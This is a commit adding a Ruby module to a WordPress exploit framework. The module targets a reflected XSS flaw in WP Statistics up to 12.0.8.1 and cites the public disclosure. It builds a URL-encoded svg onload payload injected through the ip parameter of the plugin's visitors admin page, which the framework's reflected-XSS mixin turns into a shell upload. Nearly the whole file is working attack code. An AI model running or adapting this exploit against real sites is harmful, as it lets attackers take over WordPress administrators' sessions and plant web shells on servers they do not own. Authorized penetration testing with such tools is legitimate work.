Add WP Statistics <= 12.0.8.1 reflected XSS shell upload

Author: rastating

modules/exploits/wp_statistics_reflected_xss_shell_upload.rb

@@ -0,0 +1,36 @@
+class Wpxf::Exploit::WpStatisticsReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Statistics <= 12.0.8.1 Reflected XSS Shell Upload',
+      author: [
+        'Ryan Dewhurst',                  # Dislosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8855'],
+        ['URL', 'http://blog.dewhurstsecurity.com/2017/07/03/wp-statistics-authenticated-xss-vulnerability.html']
+      ],
+      date: 'Jul 03 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-statistics', '12.0.8.2')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php')
+  end
+
+  def xss_payload
+    url_encode("'><svg onload=#{xss_ascii_encoded_include_script}><!--")
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=wps_visitors_page&ip=#{xss_payload}"
+  end
+end